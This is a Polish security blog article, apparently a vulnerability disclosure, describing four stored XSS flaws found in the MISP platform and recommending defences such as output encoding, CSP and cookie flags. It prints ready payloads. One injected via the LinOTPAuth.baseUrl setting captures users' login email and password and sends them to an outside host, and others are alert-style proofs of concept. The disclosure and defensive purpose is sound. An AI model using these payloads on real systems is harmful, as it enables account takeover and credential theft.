Stored Cross-Site Scripting (XSS) to stosunkowo powszechne i niebezpieczne podatności, które mogą zagrozić bezpieczeństwu Twojej aplikacji webowej. W tym artykule omówimy, czym są ataki stored XSS, ich wpływ na bezpieczeństwo stron internetowych oraz metody ochrony przed tą podatnością w aplikacjach webowych, przedstawiając przykłady podatności stored XSS, które znaleźliśmy w MISP.

Wstęp do ataków Stored XSS:

Ataki Cross-Site Scripting (XSS) polegają na wstrzykiwaniu złośliwego kodu do strony internetowej w celu kradzieży danych lub modyfikacji treści. Ataki Stored XSS, znane również jako ataki Persistent XSS, mają miejsce, gdy złośliwy kod jest wstrzykiwany do aplikacji webowej i przechowywany na serwerze przez dłuższy czas. Taki kod może kraść poufne informacje, modyfikować treści lub przekierować użytkowników na złośliwe strony internetowe.

Krótko o MISP i odkrytych przez nas podatnościach

MISP to platforma do wymiany informacji wywiadowczych typu open-source, która pozwala organizacjom bezpiecznie dzielić się i przechowywać dane. Mimo że MISP jest bezpiecznym rozwiązaniem, zawiera również podatności, w tym stored XSS. Niedawno Dawid odkrył podatność stored XSS w aplikacji MISP, która mogła pozwolić atakującemu na wykonanie złośliwego kodu w przeglądarce użytkownika. Atakujący mógłby wtedy ukraść dane uwierzytelniające użytkowników, edytować lub modyfikować informacje, lub przekierować użytkownika na złośliwą stronę internetową.

Wyjaśnienie techniczne i przykłady ataków Stored XSS w aplikacji MISP

Podczas testów penetracyjnych Dawid odkrył, że podatność aplikacji była wynikiem niewłaściwego filtrowania danych wyjściowych. Atakujący mógł wykorzystać API MISP do wstrzyknięcia złośliwego kodu do aplikacji, który następnie byłby przechowywany w bazie danych. Zidentyfikowaliśmy, że podatność dotyczyła kilku różnych miejsc w aplikacjach MISP i mogła zostać wykorzystana za pomocą specjalnie przygotowanego wejścia. Oto lista dotkniętych komponentów:

.Aby zobrazować wpływ tej podatności, przyjrzymy się każdemu przypadkowi.

Przypadek 1 – Wtyczka LinOTP

Pierwszy przypadek to również najbardziej wpływowy. Wtyczka LinOTP zawiera podatność typu Stored XSS, która umożliwia złośliwym administratorom wstrzyknięcie ładunku JavaScript w ustawienie LinOTPAuth.baseUrl w konfiguracji MISP. Ten ładunek będzie później wykonywany przez każdego, kto odwiedzi stronę logowania MISP.

Pokażę skutki tej podatności na przykładzie złośliwego administratora, który kradnie dane logowania użytkowników, gdy ci uwierzytelniają się w aplikacji.

Poniższa sekcja pozwala na wstrzyknięcie złośliwego skryptu:

Administracja > Ustawienia serwera i konserwacja > Ustawienia zabezpieczeń > LinOTPAuth.baseUrl

Scenariusz kradzieży danych logowania:

Aby zilustrować wpływ podatności, włączyliśmy wtyczkę LinOTPAuth i ustawiliśmy wartość „LinOTPAuth.baseUrl” w MISP do następującej wartości :

https://127.0.0.1:9999/?q="></a><script>$(function(){$('#UserLoginForm ').submit(function(e){em=$("input#UserEmail").val();p=$("input#UserPas sword").val();alert("I'm stealing your email and password: "+em+": "+p);location.href='https://zigrin.com/misp-exfiltration?e='+em+'&p='+p;return false;});})</script><a href="

Zmieniliśmy te ustawienia jako administrator MISP za pomocą poniższego linku:

http://<MISP-SERVER>/servers/serverSettings/Security

Kiedy inny użytkownik próbuje się zalogować, pojawia się następujący komunikat:

Kradzież danych logowania użytkowników za pomocą Stored XSS

Następnie skrypt przekierowuje użytkownika na stronę kontrolowaną przez atakującego z jego nazwą użytkownika i hasłem w adresie URL. To hasło zostaje zapisane w logach strony atakującego:

Nie zapomnij, że to tylko przykład scenariusza, prawdziwy atak mógłby być przeprowadzony w znacznie bardziej ukryty sposób, bez większych zmian w działaniu MISP.

Przypadek 2 – Widok klastrów galaktyk

W drugim przypadku nasz punkt wstrzyknięcia to klaster galaktyk. Jak zobaczysz w tym przykładzie, użytkownicy MISP przypisani do określonej roli mogą tworzyć i edytować stworzone klastry galaktyk. Jest to dostępne pod następującą ścieżką URL: /galaxy_clusters/view/1.

Domyślnie następujące role mają przypisaną uprawnienie „perm_galaxy_editor”, wymagane do wykonania tych działań:

• Administrator
• Administrator organizacji
• Użytkownik synchronizacji

Złośliwy użytkownik przypisany do jednej z powyższych ról może wstrzyknąć kod JavaScript do pola „Source” nowego lub edytowanego klastra galaktyk. Ten kod zostanie wykonany przez innych użytkowników, którzy obejrzą szczegóły tego klastra galaktyk.

Przeprowadziliśmy następujące kroki, aby zilustrować tę podatność:

1. Odwiedź ścieżkę URL: /galaxy_clusters/view/1
2. Kliknij link „Add Cluster”
3. Określ nazwę, na przykład „XSS Cluster”
4. Wstaw poniższy link w pole „Source” i kliknij „Submit”:

https://zigrin.com/source?a="><script>alert("Stored- XSS:"+document.domain)</script>

Nie zapomnij, że zawartość musi być poprawnym URL-em bez spacji. Natychmiast po naciśnięciu „Submit” pojawia się następujące okno alertu:

Stored XSS w widoku klastra galaktyk

Boom! Okno alertu – wszyscy kochamy je widzieć podczas testowania XSS. Teraz to okno alertu będzie wyświetlane w przeglądarkach wszystkich użytkowników, którzy spróbują wyświetlić ten klaster galaktyk za pomocą następującego URL: http://misp.local/galaxy_clusters/view/10349

W prawdziwym scenariuszu atakujący może nakłonić przeglądarkę administratora do utworzenia nowego użytkownika administracyjnego i uzyskania pełnego dostępu administracyjnego do platformy MISP. Jednak atakujący musiałby wykorzystać techniki, aby dodać więcej ładunków JavaScript, ponieważ pole „Source” jest skrócone do 255 znaków.

Przypadek 3 – Widok grafu zdarzeń

MISP umożliwia niektórym użytkownikom tworzenie nowych tagów, które później mogą być używane w zdarzeniach i atrybutach.

Domyślnie następujące role mają przypisaną zgodę „perm_tag_editor”, niezbędną do tworzenia nowych tagów:

• Administrator
• Admin organizacji
• Użytkownik synchronizacji

Gdy złośliwy użytkownik posiadający taką zgodę utworzy tag z wstrzykniętym kodem JavaScript, zostanie on wykonany podczas wyświetlania grafu zdarzeń w dowolnym zdarzeniu MISP.

W celu zaprezentowania tej podatności wykonaliśmy następujące kroki:

• Przejdź do „Akcje zdarzenia > Dodaj tag”
• Określ kolor tagu, na przykład: #ffffff
• Wprowadź następujący ładunek do pola „Nazwa” i kliknij „Zatwierdź”:

XSS'"><img src="aaa" onerror="alert`Storred XSS in event graph`" />

Następnie wyświetl dowolne zdarzenie utworzone w instancji MISP z perspektywy ofiary. Kliknij przycisk grafu zdarzeń:

przycisk grafu zdarzeń wyzwalający XSS

Po kliknięciu skrypt JavaScript zostanie wykonany i pojawi się oczekiwane okno alertu:

Stored XSS w widoku grafu zdarzeń

Przypadek 4 – Cerebrates

W tym przykładzie pojawi się znane już imię innego produktu CIRCL – Cerebrate. Jednak ta podatność nie występuje w Cerebrate. Akcja synchronizacji dla Cerebrate w MISP pozwala na wprowadzenie URL do instancji Cerebrate. Ten URL może zawierać prefiks „javascript:”, po którym następuje kod JavaScript. Gdy administrator wstrzykuje w ten sposób kod JavaScript, skrypt ten zostanie wykonany podczas przeglądania informacji o Cerebrate i kliknięcia w URL.

Aby zilustrować atak wykorzystujący tę podatność, wprowadziliśmy następujący ładunek do pola Url nowo utworzonej instancji Cerebrate:

javascript:alert(document.domain)

Gdy którykolwiek administrator MISP wyświetli te informacje o Cerebrate i kliknie w URL, skrypt zostanie wykonany:

Wykonanie alertu JavaScript

Prawdopodobieństwo sukcesu ataku jest tutaj uważane za bardzo niskie z następujących powodów:

Administrator ofiara musi kliknąć podejrzany link, aby atak był skutecznyThe attack likelihood is considered very low here due to the following:

• Ładunek może być wstrzyknięty tylko przez administratorów MISP
• Ładunek celuje tylko w innych administratorów MISP
• Administrator ofiara musi kliknąć podejrzany link, aby atak był skuteczny

Ogólny wpływ ataków Stored XSS:

Ataki Stored XSS mogą mieć poważne konsekwencje dla bezpieczeństwa witryn internetowych. Atakujący mogą wykorzystać tę podatność do kradzieży wrażliwych danych, takich jak dane logowania użytkowników, informacje o kartach kredytowych czy inne dane osobowe. Dodatkowo, atakujący mogą modyfikować treści na stronie, co prowadzi do uszczerbku na reputacji witryny. Mogą również przekierować użytkowników na złośliwe strony, infekując ich komputery złośliwym oprogramowaniem lub ransomware. Konkretne skutki ataków Stored XSS, które znaleźliśmy w MISP, zostały opisane w poprzedniej sekcji.

Najlepsze praktyki ochrony przed XSS:

Aby usunąć podatności typu stored cross-site scripting (stored XSS), takie jak te, które Dawid odkrył w projekcie open-source MISP, należy podjąć kilka kroków, które zapobiegną podobnym atakom w przyszłości.

Weryfikacja i sanitacja danych wyjściowych

Jednym z najważniejszych kroków w zapobieganiu atakom Stored XSS jest właściwa weryfikacja i sanitacja danych wyjściowych generowanych na podstawie danych wprowadzonych przez użytkownika przed ich wyświetleniem użytkownikowi. Istnieje wiele metod kodowania danych wyjściowych, ponieważ przeglądarki interpretują HTML, JS, URL i CSS w różny sposób.

Warto zauważyć, że dane wejściowe użytkownika mogą pochodzić nie tylko z zapytania HTTP, ale także z bazy danych, w postaci komentarzy, postów, wiadomości itp.

Używanie nagłówków HTTP

• X-XSS-Protection: Ten nagłówek jest używany przez nowoczesne przeglądarki internetowe do włączania lub wyłączania wbudowanego filtru XSS. Może być ustawiony na wartość „1; mode=block”, aby włączyć filtrację, lub „0”, aby ją wyłączyć.
• X-Content-Type-Options: Ten nagłówek pomaga zapobiegać niektórym typom ataków XSS, uniemożliwiając przeglądarkom interpretowanie plików jako inny typ MIME niż określony przez serwer. Wartość tego nagłówka powinna zostać ustawiona na „nosniff”.
• Content-Security-Policy (CSP): Ten nagłówek pozwala aplikacji webowej określić, które źródła treści mogą być ładowane przez przeglądarkę. Umożliwia to wymuszenie białej listy zaufanych źródeł i może pomóc w zapobieganiu atakom XSS przez blokowanie niezaufanych źródeł. Przykład nagłówka CSP może wyglądać tak:

Content-Security-Policy: default-src 'self’; script-src 'self’ https://trusted-domain.com; object-src 'none’

• Strict-Transport-Security (HSTS): Ten nagłówek pomaga zapobiegać atakom SSL-stripping, które mogą być wykorzystywane do ułatwiania ataków XSS. Ustawienie tego nagłówka oznacza, że aplikacja webowa powinna być dostępna wyłącznie przez bezpieczne, szyfrowane połączenie.Flagi ciasteczek to ważny element zabezpieczania ciasteczek przed atakami Cross-Site Scripting (XSS). Flagi ciasteczek to atrybuty, które mogą być ustawiane na ciasteczkach wysyłanych z serwera do klienta. Określają one zachowanie ciasteczka i mogą pomóc w zapobieganiu atakom XSS, ograniczając zakres ciasteczka i zwiększając jego bezpieczeństwo.

Używanie flagi HttpOnly i Secure w ciasteczkach

Flagi ciasteczek to ważny element zabezpieczania ciasteczek przed atakami Cross-Site Scripting (XSS). Flagi ciasteczek to atrybuty, które mogą być ustawiane na ciasteczkach wysyłanych z serwera do klienta. Określają one zachowanie ciasteczka i mogą pomóc w zapobieganiu atakom XSS, ograniczając zakres ciasteczka i zwiększając jego bezpieczeństwo.

• Flaga HttpOnly zapobiega dostępowi do zawartości ciasteczka przez JavaScript.
• Flaga Secure zapewnia, że ciasteczko jest wysyłane tylko przez szyfrowane połączenia (HTTPS), co pomaga zapobiegać podsłuchiwaniu i manipulacjom przez atakujących.
• Flaga SameSite może być używana do zapobiegania wysyłaniu ciasteczka w żądaniach cross-site.

Te flagi pomagają uczynić ciasteczka bezpieczniejszymi i mają istotną rolę w zapobieganiu atakom XSS.

Podsumowanie zaleceń

Warto pamiętać, że zapobieganie podatnościom typu stored XSS wymaga podejścia wielowarstwowego, które obejmuje kombinację środków technicznych i proceduralnych. Podejmując te kroki, administratorzy i deweloperzy mogą pomóc w zapobieganiu atakom typu stored XSS i chronić aplikację oraz jej użytkowników przed potencjalnym zagrożeniem.

Wnioski:

Podsumowując, ataki typu stored cross-site scripting (XSS) stanowią poważne zagrożenie dla bezpieczeństwa aplikacji webowych. Podatności te wynikają z niewystarczającej sanitacji danych wejściowych, co pozwala atakującym na wstrzykiwanie złośliwego kodu, który jest następnie przechowywany w bazie danych. W artykule omówiliśmy ataki typu stored XSS, ich wpływ na bezpieczeństwo witryn internetowych oraz sposób ochrony aplikacji webowych przed tymi atakami. Posłużyliśmy się również MISP, platformą open-source do wymiany informacji wywiadowczych, jako studium przypadku, aby zaprezentować skutki ataków stored XSS. Zrozumienie ryzyka i wdrożenie odpowiednich środków zapobiegawczych pozwala deweloperom i organizacjom chronić swoje witryny przed tymi atakami i zapewnić bezpieczeństwo użytkowników.